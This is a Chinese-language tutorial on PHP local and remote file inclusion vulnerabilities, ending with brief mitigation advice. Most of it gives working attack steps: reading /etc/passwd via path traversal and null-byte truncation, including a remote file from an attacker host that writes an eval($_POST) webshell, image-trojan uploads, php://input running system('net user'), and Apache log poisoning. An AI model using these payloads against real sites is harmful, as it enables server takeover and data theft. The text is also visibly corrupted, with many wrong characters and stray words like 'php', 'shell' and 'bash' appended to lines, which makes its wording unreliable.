定義:在經過PHP的函數引入文件時,因爲傳入的文件名沒有通過合理的校驗,從而操做了預想以外的文件,致使意外的文件泄露甚至惡意的代碼注入。php
程序開發人員一般會把可重複使用的函數寫到單個文件中,在使用某些函數時,直接調用此文件,而無須再次編寫,這種調用文件的過程通常被稱爲包含。web
程序開發人員都但願代碼更加靈活,因此一般會將被包含的文件設置爲變量,用來進行動態調用,但正是因爲這種靈活性,從而致使客戶端能夠調用一個惡意文件,形成文件包含漏洞。
文件包含漏洞在PHP Web Application中居多,而在JSP,ASP,ASP.NET程序中卻很是少,甚至沒有包含漏洞的存在。
PHP常見的致使文件包含的函數以下:include(),include_once(),require(),require_once(),fopen(),readfile()
當使用前4個函數包含一個新的文件時,只要文件內容符合PHP語法規範,那麼任何擴展名均可以被PHP解析。包含非PHP語法規範源文件時,將會暴露其源代碼。shell
後2個函數會形成敏感文件被讀取。windows
要想成功利用文件包含漏洞,須要知足下面兩個條件:bash
<?php $file = $_GET['file']; if (file_exists('/home/wwwrun'.$file.'.php')) { include '/home/wwwrun'.$file.'.php'; } ?>
假如用戶控制$file的值爲「../../etc/passwd」,那麼這段代碼至關於include '/home/wwwrun/../../etc/passwd.php',而這個文件顯然是不存在的。
須要用到字符串截斷技巧:PHP內核是由C語言實現的,所以使用了C語言中的一些字符串處理函數。在鏈接字符串時,0字節(\x00)將做爲字符串結束符。因此在這個地方,攻擊者只要在最後加入一個0字節,就能截斷file變量以後的字符串,即:../../etc/passwd\0,經過Web輸入時,只須要UrlEncode,變成../../etc/passwd%00
「../../../」的方式又被稱爲「目錄遍歷」。能夠經過配置PHP的open_basedir來限制,其做用是限制在某個特定目錄下PHP能打開的文件。例如open_basedir = D:\soft\develop\env\sites\www.a.com,在windows下多個目錄應當用分號隔開,在Linux下則用冒號隔開。服務器
要解決文件包含漏洞,一種方式是使用枚舉即一種白名單的方式。函數
若是PHP的配置選項allow_url_include爲ON的話,則include/require函數是能夠加載遠程文件的,這種漏洞被稱爲遠程文件包含漏洞。ui
require_once $basePath . '/action/m_share.php'
攻擊者能夠構造以下的攻擊URL /?param=http://attacker/phpshell.txt?
最終加載的代碼實際上執行了 require_once 'http://attacker/phpshell.txt?/action/m_share.php'
問號後面的代碼被解釋成URL的querystring,也是一種「截斷」,這是在利用遠程文件包含漏洞時的常見技巧。一樣的,%00也能夠用作截斷符號。加密
讀取敏感文件
訪問URL:http://www.xxser.com/index.php?page=/etc/passwd
若是目標主機文件存在,而且有相應的權限,那麼就能夠讀出文件的內容。反之,就會獲得一個相似於;open_basedir restriction in effect的警告。url
遠程包含Shell
若是目標主機allow_url_fopen選項是激活的,就能夠嘗試遠程包含一句話木馬,如:http://www.attacker.com/echo.txt
,代碼以下:
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>
訪問:http://www.example.com/index.php?page=http://www.attacker.com/echo.txt
。將會在index.php所在的目錄下生成shell.php,內容爲:
<?php eval($_POST[xxser]);?>
本地包含配合文件上傳
假設已經上傳一句話圖片木馬到服務器,路徑爲:/uploadfile/xxx.jpg
圖片代碼以下:<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[xxser]);?>");?>
訪問URL:http://www.example.com/index.php?page=./uploadfile/xxx.jpg
,包含這張圖片,將會在index.php所在的目錄下生成shell.php。
使用PHP封裝協議
http://www.example.com/index.php?page=php://filter/read=convert.base64-encode/resource=config.php
http://www.example.com/index.php?page=php://input
,而且提交數據爲:<?php system('net user');?>
包含Apache日誌文件
本地文件包含的利用。
Apache有兩個日誌文件:access.log(訪問日誌)和error.log(錯誤日誌)。
攻擊者先訪問http://www.example.com/<?php phpinfo();?>
,操做這一步時,須要Burp,不然<,>,空格都會被轉碼。
隨後訪問http://www.xxser.com/index.php?page=./../Apache-20/logs/access.log
使用這種方式時,找到Apache的路徑是關鍵。
截斷包含
<?php if(isset($_GET['page'])){ include $_GET['page'].".php"; }else{ include 'home.php'; } ?>
若是此時存在一個圖片木馬,名爲1.jpg,能夠輸入以下URL:http://www.example.com/index.php?page=1.jpg%00
固然這種方法只適用於magic_quotes_gpc=Off的狀況下。
繞過WAF防火牆
圖片木馬通常不會被web殺毒軟件查出來。
1.嚴格判斷包含的參數是否外部可控,由於文件包含漏洞利用成功與否的關鍵點就在於被包含的文件是 否可被外部控制;
2.路徑限制:限制被包含的文件只能在某一文件夾內,必定要禁止目錄跳轉字符,如:「../」;
3.包含文件驗證:驗證被包含的文件是不是白名單中的一員;
4.儘可能不要使用動態包含,能夠在須要包含的頁面固定寫好,如:include("head.php");。
include和require語句是相同的,除了錯誤處理方面: reuqire會生成致命錯誤(E_COMPILE_ERROR)並中止腳本 include只生成錯誤報告(E_WARING),而且腳本會繼續 require和require_once的差異是,require重複調用會屢次加載你引用的文件,而require_once只加載一次,而無論你實際上調用了多少次,主要用於複雜的文件包含關係。 include和include_once的差異也能夠以此類推。